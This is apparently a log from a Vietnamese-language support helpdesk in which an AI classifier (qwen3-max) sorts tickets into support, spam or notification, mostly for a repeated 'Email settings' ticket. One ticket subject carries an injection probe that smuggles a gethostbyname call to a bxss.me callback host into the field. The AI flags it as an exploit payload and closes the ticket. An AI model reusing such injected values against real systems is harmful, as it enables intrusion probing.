# ai_logs

timestamp: 2026-03-29 16:00:13
mode: ticketlist
model: default
system_prompt: default
response_data: [{"id":"601024","type":"spam","confidence":1,"intent":"Khớp từ khóa Local","source":"local_spam"}]
status: success
request_data:
[{"id":"601024","subject":"'.gethostbyname(lc('hitfp'.'hpvzsepod25d9.bxss.me.')).&...","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"591d 4h 17m","history":[]}]


timestamp: 2026-03-29 16:01:19
mode: ticketlist
model: default
system_prompt: default
status: success
request_data:
[{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 11h 2m","history":[]}]

response_data:
[{"id":"600710","type":"support","intent":"Yêu cầu hỗ trợ về cài đặt email","confidence":0.95,"actions":[],"source":"ai"}]


timestamp: 2026-03-29 16:02:45
mode: ticketlist
model: default
system_prompt: default
status: success
request_data:
[{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 11h 3m","history":[]}]

response_data:
[{"id":"600710","type":"support","intent":"Yêu cầu hỗ trợ về cài đặt email","confidence":0.95,"actions":[],"source":"ai"}]


timestamp: 2026-03-29 16:37:51
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 11h 39m","history":[]}]


timestamp: 2026-03-29 16:39:42
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 11h 41m","history":[]}]


timestamp: 2026-03-29 16:49:53
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 11h 51m","history":[]}]

response_data:
[{"id":"600710","type":"support","intent":"Yêu cầu hỗ trợ cấu hình cài đặt email","confidence":0.95,"actions":[],"source":"ai"}]


timestamp: 2026-03-29 16:50:48
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 11h 52m","history":[]}]

response_data:
[{"id":"600710","type":"support","intent":"Yêu cầu hỗ trợ cấu hình cài đặt email","confidence":0.95,"actions":[],"source":"ai"}]


timestamp: 2026-03-29 16:51:18
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"601024","subject":"'.gethostbyname(lc('hitfp'.'hpvzsepod25d9.bxss.me.')).&...","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"591d 5h 8m","history":[]},{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 11h 52m","history":[]}]

response_data:
[{"id":"601024","type":"spam","intent":"Chứa payload khai thác lỗ hổng XSS hoặc RCE qua hàm gethostbyname và domain khả nghi bxss.me","confidence":0.95,"actions":["tick_and_close"],"source":"ai"},{"id":"600710","type":"support","intent":"Yêu cầu hỗ trợ cấu hình cài đặt email","confidence":0.9,"actions":[],"source":"ai"}]


timestamp: 2026-03-29 18:34:59
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 34m","history":[]}]

response_data:
[{"id":"600710","type":"support","intent":"Yêu cầu hỗ trợ cấu hình cài đặt email","confidence":0.95,"actions":[],"source":"ai"}]


timestamp: 2026-03-29 18:35:51
mode: ticketlist
model: default
system_prompt: default
status: success
request_data:
[{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 34m","history":[]}]

response_data:
[{"confidence":0.95,"intent":"Yêu cầu hỗ trợ cấu hình cài đặt email","status":"Open","subject":"Email settings","timestamp":1774809299185,"type":"support","source":"cache"}]


timestamp: 2026-03-29 18:37:12
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600718","subject":"1","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"8h 48m","history":[]},{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 37m","history":[]}]

response_data:
[{"confidence":0.95,"intent":"Yêu cầu hỗ trợ cấu hình cài đặt email","status":"Open","subject":"Email settings","timestamp":1774809299185,"type":"support","source":"cache"},{"id":"600718","type":"notification","intent":"Ticket không có lịch sử hoặc nội dung để xác định mục đích","confidence":0.9,"actions":[],"source":"ai"}]


timestamp: 2026-03-29 18:37:23
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600718","subject":"1","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"8h 48m","history":[]},{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 37m","history":[]}]

response_data:
[{"confidence":0.95,"intent":"Yêu cầu hỗ trợ cấu hình cài đặt email","status":"Open","subject":"Email settings","timestamp":1774809299185,"type":"support","source":"cache"},{"id":"600718","type":"notification","intent":"Ticket không có lịch sử tương tác hoặc nội dung cụ thể","confidence":0.9,"actions":[],"source":"ai"}]


timestamp: 2026-03-29 18:41:15
mode: ticketlist
model: default
system_prompt: default
status: success
request_data:
[{"id":"600718","subject":"1","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"8h 52m","history":[]},{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 41m","history":[]}]

response_data:
[{"confidence":0.9,"intent":"Ticket không có lịch sử tương tác hoặc nội dung cụ thể","status":"Open","subject":"1","timestamp":1774809443790,"type":"notification","source":"cache"},{"confidence":0.95,"intent":"Yêu cầu hỗ trợ cấu hình cài đặt email","status":"Open","subject":"Email settings","timestamp":1774809299185,"type":"support","source":"cache"}]


timestamp: 2026-03-29 18:41:39
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600718","subject":"1","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"8h 53m","history":[]},{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 42m","history":[]}]

response_data:
[{"confidence":0.9,"intent":"Ticket không có lịch sử tương tác hoặc nội dung cụ thể","status":"Open","subject":"1","timestamp":1774809443790,"type":"notification","source":"cache"},{"confidence":0.95,"intent":"Yêu cầu hỗ trợ cấu hình cài đặt email","status":"Open","subject":"Email settings","timestamp":1774809299185,"type":"support","source":"cache"}]


timestamp: 2026-03-29 18:43:18
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600718","subject":"1","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"8h 54m","history":[]},{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 43m","history":[]}]


timestamp: 2026-03-29 18:43:42
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600718","subject":"1","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"8h 55m","history":[]},{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 44m","history":[]}]


timestamp: 2026-03-29 18:44:18
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600718","subject":"1","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"8h 56m","history":[]},{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 45m","history":[]}]

response_data:
[{"id":"600718","type":"notification","intent":"Ticket không có tiêu đề rõ ràng và không có lịch sử, có thể là thông báo hệ thống hoặc dữ liệu thiếu","confidence":0.6,"actions":[],"source":"ai"},{"id":"600710","type":"support","intent":"Yêu cầu hỗ trợ liên quan đến cài đặt email","confidence":0.95,"actions":[],"source":"ai"}]


timestamp: 2026-03-29 18:45:02
mode: ticketlist
model: default
system_prompt: default
status: success
request_data:
[{"id":"600718","subject":"1","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"8h 56m","history":[]},{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 45m","history":[]}]

response_data:
[{"confidence":0.6,"intent":"Ticket không có tiêu đề rõ ràng và không có lịch sử, có thể là thông báo hệ thống hoặc dữ liệu thiếu","status":"Open","subject":"1","timestamp":1774809858959,"type":"notification","source":"cache"},{"confidence":0.95,"intent":"Yêu cầu hỗ trợ liên quan đến cài đặt email","status":"Open","subject":"Email settings","timestamp":1774809858959,"type":"support","source":"cache"}]


timestamp: 2026-03-29 18:46:19
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 47m","history":[]}]

response_data:
[{"confidence":0.95,"intent":"Yêu cầu hỗ trợ liên quan đến cài đặt email","status":"Open","subject":"Email settings","timestamp":1774809858959,"type":"support","source":"cache"}]


timestamp: 2026-03-29 18:47:21
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"706d 13h 47m","history":[]}]

response_data:
[{"confidence":0.95,"intent":"Yêu cầu hỗ trợ cấu hình cài đặt email","status":"Open","subject":"Email settings","timestamp":1774810012461,"type":"support","source":"cache"}]


timestamp: 2026-03-30 07:42:14
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"6147391","subject":"流量咨询","status":"Customer-Reply","dept":"Hỗ trợ 24/7 (Support)","lastReply":"0h 1m","history":[]}]

response_data:
[{"id":"6147391","type":"spam","intent":"Tin nhắn bằng tiếng Trung không liên quan đến hỗ trợ kỹ thuật, có thể là quảng cáo hoặc spam","confidence":0.85,"actions":["tick_and_close"],"source":"ai"}]


timestamp: 2026-03-30 08:12:36
mode: ticketlist
model: qwen3-max
system_prompt: default
status: success
request_data:
[{"id":"600710","subject":"Email settings","status":"Open","dept":"Hỗ trợ 24/7 (Support)","lastReply":"707d 3h 13m","history":[]}]


timestamp: 2026-03-30 09:16:37
mode: ticketdetail
model: unknown
system_prompt: n/a
response_data: {"error":"Cửa sổ cấu hình thiếu API Key hoặc lỗi giải mã."}
status: error
request_data:
{"id":"6148049","subject":"#082409 - Hỗ trợ cung cấp cert \nOn Hold\nOpen\nAnswered\nCustomer-Reply\nIn Progress\nClosed\n Close","history":[],"hasRelatedServices":true,"requestorType":"Owner"}


